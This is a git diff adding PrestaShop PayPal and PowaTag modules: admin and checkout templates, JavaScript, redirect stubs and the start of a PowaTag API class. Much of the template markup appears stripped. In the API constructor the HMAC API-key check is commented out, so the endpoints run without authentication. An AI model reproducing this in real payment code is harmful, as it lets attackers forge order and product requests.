        '); + var inner = $('#paypal-test-mode-confirmation').clone().html(); + $.fancybox({'hideOnOverlayClick' : true, 'content' : div.append(inner)}); + return false; + } + return true; + }); + + $('button.fancy_confirm').live('click', function() { + jQuery.fancybox.close(); + if ($(this).val() == '1') { + $('input[name="sandbox_mode"]').filter('[value="1"]').attr('checked', true); + } else { + $('input[name="sandbox_mode"]').filter('[value="0"]').attr('checked', true); + } + }); + + if ($('#paypal-save-success').length > 0) + $.fancybox({'hideOnOverlayClick' : true, 'content' : $('
        ').append($('#paypal-save-success').clone().html())}); + else if ($('#paypal-save-failure').length > 0) + $.fancybox({'hideOnOverlayClick' : true, 'content' : $('
        ').append($('#paypal-save-failure').clone().html())}); + + $('#paypal-get-identification').live('click', function() { + identificationButtonClicked = true; + var url = 'https://www.paypal.com/us/cgi-bin/webscr?cmd=_get-api-signature&generic-flow=true'; + var title = 'PayPal identification informations'; + window.open (url, title, config='height=500, width=360, toolbar=no, menubar=no, scrollbars=no, resizable=no, location=no, directories=no, status=no'); + return false; + }); + + $('a#paypal_country_change').live('click', function() { + var div = $('
        '); + var inner = $('#paypal-country-form-content').clone().html(); + $.fancybox({'content' : div.append(inner)}); + return false; + }); + + $('#paypal_country_default').live('change', function() { + var form = $('#paypal_configuration'); + form.append(''); + form.submit(); + }); + } + +}); diff --git a/modules/paypal2/views/templates/back/back_office.tpl b/modules/paypal2/views/templates/back/back_office.tpl new file mode 100755 index 0000000..8eee576 --- /dev/null +++ b/modules/paypal2/views/templates/back/back_office.tpl @@ -0,0 +1,290 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
        + + {* PayPal configuration page header *} + +
        + {if isset($PayPal_logo.LocalPayPalLogoLarge)} + + {/if} +

        {$PayPal_content.leader} {$PayPal_content.online_payment}

        +

        {$PayPal_content.tagline}

        +
        + +
        +
          {$PayPal_content.benefits}
        +
        + +

        + +
        + {* PayPal configuration blocks *} +
        +
        {$PayPal_content.expectations}
        +
        +
        + + +
        +

        {$PayPal_content.country_change_title} :

        + + + +
        +
        +
        +
        + + + + +
        +
        + +

        + + {* SELECT YOUR SOLUTION *} +
        + +
        +
        {$PayPal_content.customer_support} {if !empty($PayPal_content.customer_support_image)}Phone{/if}
        +
        {$PayPal_content.support_foonote}
        +
        + + 1

        {$PayPal_content.select_solution}

        {$PayPal_content.learn_more} + +


        + + {if (in_array($PayPal_WPS, $PayPal_allowed_methods) || in_array($PayPal_HSS, $PayPal_allowed_methods))} +

        {$PayPal_content.sole_solution_section_title}

        +
        +
        + {if (in_array($PayPal_WPS, $PayPal_allowed_methods))} + {* WEBSITE PAYMENT STANDARD *} + + {/if} + + {if (in_array($PayPal_HSS, $PayPal_allowed_methods))} + {* WEBSITE PAYMENT PRO *} +
        + + {/if} +
        + {/if} + + {if (in_array($PayPal_ECS, $PayPal_allowed_methods))} +

        {$PayPal_content.additional_solution_tagline}

        +
        + {* EXPRESS CHECKOUT SOLUTION *} + +
        + {/if} + +
        +
        + + {* SUBSCRIBE OR OPEN YOUR PAYPAL BUSINESS ACCOUNT *} +
        + + 2

        {$PayPal_content.account_section_title}

        + +

        + +
        + {* Use cases 1 - 3 *} + + + + + {* Use cases 4 - 6 *} + {**} + + {**} + +

        + + {* Use cases 1 - 3 *} + + + + + {* Use cases 4 - 6 *} + + + + +
        + +
        + +
        + + {* ENABLE YOUR ONLINE SHOP TO PROCESS PAYMENT *} +
        + 3

        {$PayPal_content.credentials_section_title}

        + +

        + + {$PayPal_content.credentials_tagline} + +
        + {* Credentials *} + +
        +

        {$PayPal_content.credentials_description}

        + +
        + + + {$PayPal_content.credentials_button}

        {$PayPal_content.credentials_button_disclaimer}

        +
        + +

        + +
        +
        +
        +
        +
        +
        +
        +
        +
        + {$PayPal_content.credentials_fields_disclaimer} +
        + + +
        +

        {$PayPal_content.credentials_integral_description}

        + +
        + +
        +
        +
        +
        +
        + +
        + +

        {$PayPal_content.setup_finalize_title} :

        +

        1. {$PayPal_content.setup_reminder_1}

        +

        2. {$PayPal_content.setup_reminder_2}

        + +

        {$PayPal_content.configuration_options_title}

        +
        +

        {$PayPal_content.express_checkout_shortcut_title}

        +

        {$PayPal_content.express_checkout_shortcut_tagline}

        +
        + +
        + +

        {$PayPal_content.sandbox_title}

        +

        {$PayPal_content.sandbox_tagline} {$PayPal_content.sandbox_learn_more}

        +
        + + +
        + +

        {$PayPal_content.payment_type_title}

        +

        {$PayPal_content.payment_type_tagline}

        +
        + + +

        +
        + + + + +
        +

        {$PayPal_content.sandbox_confirmation_title} :

        +
          + {$PayPal_content.sandbox_confirmation_content} +
        + +

        {$PayPal_content.sandbox_confirmation_question}

        + +
        + + +
        +
        + + {if isset($PayPal_save_success)} +
        +

        {$PayPal_content.congratulation_title}

        + {if $PayPal_sandbox_mode == 0} +

        {$PayPal_content.congratulation_live_mode}

        + {elseif $PayPal_sandbox_mode == 1} +

        {$PayPal_content.congratulation_test_mode}

        + {/if} +
        + {/if} + {if isset($PayPal_save_failure)} +
        +

        {l s='Error !' mod='paypal'}

        +

        {$PayPal_content.error_message}

        +
        + {/if} + +
        +

        {l s='Error !' mod='paypal'}

        +

        {$PayPal_content.error_message}

        +
        + +
        +
        +
        + +
        +

        + {$PayPal_content.express_checkout_tagline_source} +

        +
        + +
        diff --git a/modules/paypal2/views/templates/back/header.tpl b/modules/paypal2/views/templates/back/header.tpl new file mode 100755 index 0000000..aac1009 --- /dev/null +++ b/modules/paypal2/views/templates/back/header.tpl @@ -0,0 +1,7 @@ + + + \ No newline at end of file diff --git a/modules/paypal2/views/templates/back/index.php b/modules/paypal2/views/templates/back/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/modules/paypal2/views/templates/back/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal2/views/templates/front/about.tpl b/modules/paypal2/views/templates/front/about.tpl new file mode 100755 index 0000000..cd180bc --- /dev/null +++ b/modules/paypal2/views/templates/front/about.tpl @@ -0,0 +1,41 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +

        {l s='What Is PayPal?' mod='paypal'}

        + +
        +

        {l s='PayPal, the trusted leader in online payments, enables buyers and businesses to send and receive money online. PayPal has over 100 million member accounts in 190 countries and regions. It\'s accepted by merchants everywhere, both on and off eBay.' mod='paypal'}

        +

        {l s='Is it safe to use?' mod='paypal'}

        +

        {l s='PayPal helps protect your credit card information with industry-leading security and fraud prevention systems. When you use PayPal, your financial information is never shared with the merchant.' mod='paypal'}

        +

        {l s='Why use PayPal?' mod='paypal'}

        +

        +

          +
        • {l s='Make purchases or send money with PayPal - it\'s free' mod='paypal'}
        • +
        • {l s='Shop and pay conveniently by saving your information with PayPal' mod='paypal'}
        • +
        • {l s='PayPal is accepted by millions of businesses worldwide and is the preferred payment method on eBay' mod='paypal'}
        • +
        +

        +

        {l s='Start using PayPal today!' mod='paypal'}

        +
        \ No newline at end of file diff --git a/modules/paypal2/views/templates/front/error.tpl b/modules/paypal2/views/templates/front/error.tpl new file mode 100755 index 0000000..080e1bc --- /dev/null +++ b/modules/paypal2/views/templates/front/error.tpl @@ -0,0 +1,57 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $smarty.const._PS_VERSION_ < 1.5 && isset($use_mobile) && $use_mobile} + {include file="$tpl_dir./modules/paypal/views/templates/front/error.tpl"} +{else} + {capture name=path}{l s='Your shopping cart' mod='paypal'} {$navigationPipe} {l s='PayPal' mod='paypal'}{/capture} + {include file="$tpl_dir./breadcrumb.tpl"} + +

        {$message}

        + {if isset($logs) && $logs} +
        +

        {l s='Please try to contact the merchant:' mod='paypal'}

        + +
          + {foreach from=$logs key=key item=log} +
        1. {$log}
        2. + {/foreach} +
        + +
        + + {if isset($order)} +

        + {l s='Total of the transaction (taxes incl.) :' mod='paypal'} {$price}
        + {l s='Your order ID is :' mod='paypal'} {$order.id_order}
        +

        + {/if} + +

        « {l s='Back' mod='paypal'}

        +
        + + {/if} + +{/if} diff --git a/modules/paypal2/views/templates/front/index.php b/modules/paypal2/views/templates/front/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/modules/paypal2/views/templates/front/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal2/views/templates/front/order-confirmation-mobile.tpl b/modules/paypal2/views/templates/front/order-confirmation-mobile.tpl new file mode 100755 index 0000000..853876f --- /dev/null +++ b/modules/paypal2/views/templates/front/order-confirmation-mobile.tpl @@ -0,0 +1,36 @@ +
        + {include file="$tpl_dir./errors.tpl"} + +

        {l s='Order confirmation' mod='paypal'}

        + + {assign var='current_step' value='payment'} + + {include file="$tpl_dir./errors.tpl"} + + {$HOOK_ORDER_CONFIRMATION} + {$HOOK_PAYMENT_RETURN} + +
        + + {if $order} +

        {l s='Total of the transaction (taxes incl.) :' mod='paypal'} {$price}

        +

        {l s='Your order ID is :' mod='paypal'} {$order.id_order}

        +

        {l s='Your PayPal transaction ID is :' mod='paypal'} {$order.id_transaction}

        + {/if} + +
        + + {if !$is_guest} + {l s='Continue shopping'} + {else} + + {/if} +
        +
        diff --git a/modules/paypal2/views/templates/front/order-confirmation.tpl b/modules/paypal2/views/templates/front/order-confirmation.tpl new file mode 100755 index 0000000..016ee12 --- /dev/null +++ b/modules/paypal2/views/templates/front/order-confirmation.tpl @@ -0,0 +1,58 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $smarty.const._PS_VERSION_ < 1.5 && isset($use_mobile) && $use_mobile} + {include file="$tpl_dir./modules/paypal/views/templates/front/order-confirmation.tpl"} +{else} + {capture name=path}{l s='Order confirmation' mod='paypal'}{/capture} + {include file="$tpl_dir./breadcrumb.tpl"} + +

        {l s='Order confirmation' mod='paypal'}

        + + {assign var='current_step' value='payment'} + {include file="$tpl_dir./order-steps.tpl"} + + {include file="$tpl_dir./errors.tpl"} + + {$HOOK_ORDER_CONFIRMATION} + {$HOOK_PAYMENT_RETURN} + +
        + + {if $order} +

        {l s='Total of the transaction (taxes incl.) :' mod='paypal'} {$price}

        +

        {l s='Your order ID is :' mod='paypal'} {$order.id_order}

        +

        {l s='Your PayPal transaction ID is :' mod='paypal'} {$order.id_transaction}

        + {/if} +
        + + {if $is_guest} + {l s='Follow my order'} + {l s='Follow my order' mod='paypal'} + {else} + {l s='Back to orders'} + {l s='Back to orders' mod='paypal'} + {/if} +{/if} diff --git a/modules/paypal2/views/templates/front/order-summary.tpl b/modules/paypal2/views/templates/front/order-summary.tpl new file mode 100755 index 0000000..85c0d35 --- /dev/null +++ b/modules/paypal2/views/templates/front/order-summary.tpl @@ -0,0 +1,59 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $smarty.const._PS_VERSION_ < 1.5 && isset($use_mobile) && $use_mobile} + {include file="$tpl_dir./modules/paypal/views/templates/front/order-summary.tpl"} +{else} + {capture name=path}{l s='Your shopping cart' mod='paypal'} {$navigationPipe} {l s='PayPal' mod='paypal'}{/capture} + {include file="$tpl_dir./breadcrumb.tpl"} + +

        {l s='Order summary' mod='paypal'}

        + + {assign var='current_step' value='payment'} + {include file="$tpl_dir./order-steps.tpl"} + +

        {l s='PayPal payment' mod='paypal'}

        +
        +

        + {l s='PayPal' mod='paypal'} +
        {l s='You have chosen to pay with PayPal.' mod='paypal'} +

        + {l s='Here is a short summary of your order:' mod='paypal'} +

        +

        + - {l s='The total amount of your order is' mod='paypal'} + {$total} {if $use_taxes == 1}{l s='(tax incl.)' mod='paypal'}{/if} +

        +

        + - {l s='We accept the following currency to be sent by PayPal:' mod='paypal'} {$currency->name} +

        +

        + {l s='Please confirm your order by clicking \'I confirm my order\'' mod='paypal'}. +

        +

        + +

        +
        +{/if} diff --git a/modules/paypal2/views/templates/hook/column.tpl b/modules/paypal2/views/templates/hook/column.tpl new file mode 100755 index 0000000..6036c27 --- /dev/null +++ b/modules/paypal2/views/templates/hook/column.tpl @@ -0,0 +1,28 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
        +

        PayPal

        +
        diff --git a/modules/paypal2/views/templates/hook/confirmation.tpl b/modules/paypal2/views/templates/hook/confirmation.tpl new file mode 100755 index 0000000..4dc4268 --- /dev/null +++ b/modules/paypal2/views/templates/hook/confirmation.tpl @@ -0,0 +1,32 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +

        {l s='Your order on' mod='paypal'} {$shop_name} {l s='is complete.' mod='paypal'} +

        + {l s='You have chosen the PayPal method.' mod='paypal'} +

        {l s='Your order will be sent very soon.' mod='paypal'} +

        {l s='For any questions or for further information, please contact our' mod='paypal'} + {l s='customer support' mod='paypal'}. +

        diff --git a/modules/paypal2/views/templates/hook/express_checkout_payment.tpl b/modules/paypal2/views/templates/hook/express_checkout_payment.tpl new file mode 100755 index 0000000..ca16204 --- /dev/null +++ b/modules/paypal2/views/templates/hook/express_checkout_payment.tpl @@ -0,0 +1,45 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +

        + + {if isset($use_mobile) && $use_mobile} + + {else} + {if isset($logos.LocalPayPalHorizontalSolutionPP) && $PayPal_payment_method == $PayPal_integral} + {$PayPal_content.payment_choice} + {else} + {$PayPal_content.payment_choice} + {/if} + {$PayPal_content.payment_choice} + {/if} + + +

        + +
        + + +
        diff --git a/modules/paypal2/views/templates/hook/express_checkout_shortcut_button.tpl b/modules/paypal2/views/templates/hook/express_checkout_shortcut_button.tpl new file mode 100755 index 0000000..e95271e --- /dev/null +++ b/modules/paypal2/views/templates/hook/express_checkout_shortcut_button.tpl @@ -0,0 +1,13 @@ +
        + {if isset($use_mobile) && $use_mobile} +
        + +
        + {else} + + {/if} + {if isset($include_form) && $include_form} + {include file="$template_dir./express_checkout_shortcut_form.tpl"} + {/if} +
        +
        diff --git a/modules/paypal2/views/templates/hook/express_checkout_shortcut_form.tpl b/modules/paypal2/views/templates/hook/express_checkout_shortcut_form.tpl new file mode 100755 index 0000000..6bad294 --- /dev/null +++ b/modules/paypal2/views/templates/hook/express_checkout_shortcut_form.tpl @@ -0,0 +1,10 @@ +
        + {if isset($smarty.get.id_product)}{/if} + + + + + + + +
        diff --git a/modules/paypal2/views/templates/hook/index.php b/modules/paypal2/views/templates/hook/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/modules/paypal2/views/templates/hook/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal2/views/templates/hook/integral_evolution_payment.tpl b/modules/paypal2/views/templates/hook/integral_evolution_payment.tpl new file mode 100755 index 0000000..3198f5a --- /dev/null +++ b/modules/paypal2/views/templates/hook/integral_evolution_payment.tpl @@ -0,0 +1,82 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
        + + + + + +{literal} + +{/literal} diff --git a/modules/paypal2/views/templates/hook/paypal.js b/modules/paypal2/views/templates/hook/paypal.js new file mode 100755 index 0000000..c8f787d --- /dev/null +++ b/modules/paypal2/views/templates/hook/paypal.js @@ -0,0 +1,136 @@ +{literal} + +$(document).ready( function() { + + $('#payment_paypal_express_checkout').click(function() { + $('#paypal_payment_form').submit(); + return false; + }); + + $('#paypal_payment_form').live('submit', function() { + var nb = $('#quantity_wanted').val(); + var id = $('#idCombination').val(); + + $('#paypal_payment_form input[name=quantity]').val(nb); + $('#paypal_payment_form input[name=id_p_attr]').val(id); + }); + + function displayExpressCheckoutShortcut() { + var id_product = $('input[name="id_product"]').val(); + var id_product_attribute = $('input[name="id_product_attribute"]').val(); + + $.ajax({ + type: "GET", + url: baseDir+'/modules/paypal/express_checkout/ajax.php', + data: { get_qty: "1", id_product: id_product, id_product_attribute: id_product_attribute }, + cache: false, + success: function(result) { + if (result >= '1') + $('#container_express_checkout').slideDown(); + else + $('#container_express_checkout').slideUp(); + return true; + } + }); + } + + $('select[name^="group_"]').change(function () { + displayExpressCheckoutShortcut(); + }); + + $('.color_pick').click(function () { + displayExpressCheckoutShortcut(); + }); + + {/literal} + {if isset($paypal_authorization)} + {literal} + + /* 1.5 One page checkout*/ + var qty = $('.qty-field.cart_quantity_input').val(); + $('.qty-field.cart_quantity_input').after(qty); + $('.qty-field.cart_quantity_input, .cart_total_bar, .cart_quantity_delete, #cart_voucher *').remove(); + + var br = $('.cart > a').prev(); + br.prev().remove(); + br.remove(); + $('.cart.ui-content > a').remove(); + + var gift_fieldset = $('#gift_div').prev(); + var gift_title = gift_fieldset.prev(); + $('#gift_div, #gift_mobile_div').remove(); + gift_fieldset.remove(); + gift_title.remove(); + + {/literal} + {/if} + {if isset($paypal_confirmation)} + {literal} + + $('#container_express_checkout').hide(); + + $('#cgv').live('click', function() { + if ($('#cgv:checked').length != 0) + $(location).attr('href', '{/literal}{$paypal_confirmation}{literal}'); + }); + + // old jQuery compatibility + $('#cgv').click(function() { + if ($('#cgv:checked').length != 0) + $(location).attr('href', '{/literal}{$paypal_confirmation}{literal}'); + }); + + {/literal} + {else if isset($paypal_order_opc)} + {literal} + + $('#cgv').live('click', function() { + if ($('#cgv:checked').length != 0) + checkOrder(); + }); + + // old jQuery compatibility + $('#cgv').click(function() { + if ($('#cgv:checked').length != 0) + checkOrder(); + }); + + {/literal} + {/if} + {literal} + + var modulePath = 'modules/paypal'; + var subFolder = '/integral_evolution'; + var fullPath = baseDir + modulePath + subFolder; + var confirmTimer = false; + + if ($('form[target="hss_iframe"]').length == 0) { + if ($('select[name^="group_"]').length > 0) + displayExpressCheckoutShortcut(); + return false; + } else { + checkOrder(); + } + + function checkOrder() { + confirmTimer = setInterval(getOrdersCount, 1000); + } + + {/literal}{if isset($id_cart)}{literal} + function getOrdersCount() { + $.get( + fullPath + '/confirm.php', + { id_cart: '{/literal}{$id_cart}{literal}' }, + function (data) { + if ((typeof(data) != 'undefined') && (data > 0)) { + clearInterval(confirmTimer); + window.location.replace(fullPath + '/submit.php?id_cart={/literal}{$id_cart}{literal}'); + $('p.payment_module, p.cart_navigation').hide(); + } + } + ); + } + {/literal}{/if}{literal} +}); + +{/literal} diff --git a/modules/paypal2/views/templates/index.php b/modules/paypal2/views/templates/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/modules/paypal2/views/templates/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/powatag/api/index.php b/modules/powatag/api/index.php new file mode 100644 index 0000000..05dfd94 --- /dev/null +++ b/modules/powatag/api/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/powatag/api/v1/PowaTagAPI.php b/modules/powatag/api/v1/PowaTagAPI.php new file mode 100644 index 0000000..027b624 --- /dev/null +++ b/modules/powatag/api/v1/PowaTagAPI.php @@ -0,0 +1,334 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +require_once dirname(__FILE__).DIRECTORY_SEPARATOR.'PowaTagAPIAbstract.php'; + +class PowaTagAPI extends PowaTagAPIAbstract +{ + public function __construct($request, $origin) + { + $this->loadClasses(); + + parent::__construct($request); + + // Abstracted out for example + $APIKey = new PowaTagAPIKey(); + + if (!Module::isInstalled('powatag') || !Module::isEnabled('powatag')) + throw new Exception('Module not enable'); +/* + if (!array_key_exists('HTTP_HMAC', $_SERVER)) + throw new Exception('No API Key provided'); + else if (!$APIKey->verifyKey($_SERVER['HTTP_HMAC'], $this->data)) + throw new Exception('Invalid API Key'); +*/ + $this->data = Tools::jsonDecode($this->data); + } + + /** + * Load classes + */ + private function loadClasses() + { + $path = dirname(__FILE__).DIRECTORY_SEPARATOR; + + foreach (scandir($path) as $file) + if (is_file($path.$file) && preg_match('#.php$#isD', $file) && $file != 'index.php') + require_once $path.$file; + + $path .= 'classes'.DIRECTORY_SEPARATOR; + + foreach (scandir($path) as $file) + if (is_file($path.$file) && preg_match('#.php$#isD', $file) && $file != 'index.php') + require_once $path.$file; + } + + /** + * Products endpoint + */ + protected function products($args) + { + if ($args || $this->verb) + { + if ($args) + $idProduct = current($args); + else if ($this->verb) + $idProduct = $this->verb; + + if (PowaTagAPI::apiLog()) + PowaTagLogs::initAPILog('Process get products', PowaTagLogs::IN_PROGRESS, 'Id product : '.$idProduct); + + if (PowaTagAPI::requestLog()) + PowaTagLogs::initRequestLog('Process get products', PowaTagLogs::IN_PROGRESS, $args); + + $stdClass = new stdClass(); + $stdClass->id_product = $idProduct; + + $powatagProduct = new PowaTagProduct($stdClass); + + //Handle to get one specific products + if ($value = $powatagProduct->setJSONRequest()) + { + if (PowaTagAPI::apiLog()) + PowaTagLogs::initAPILog('Process get products', PowaTagLogs::SUCCESS, 'Id product : '.$idProduct); + + if (PowaTagAPI::requestLog()) + PowaTagLogs::initRequestLog('Process get products', PowaTagLogs::SUCCESS, $value); + + return array("products" => array($value)); + } + else + { + $error = $powatagProduct->getError(); + + if (PowaTagAPI::apiLog()) + PowaTagLogs::initAPILog('Process get products', PowaTagLogs::ERROR, $error['message']); + return PowaTagAPI::powaError($error); + } + } + else + { + $msg = 'No product mentionned'; + + if (PowaTagAPI::apiLog()) + PowaTagLogs::initAPILog('Process get products', PowaTagLogs::ERROR, $msg); + + return $msg; + } + } + + /** + * Orders 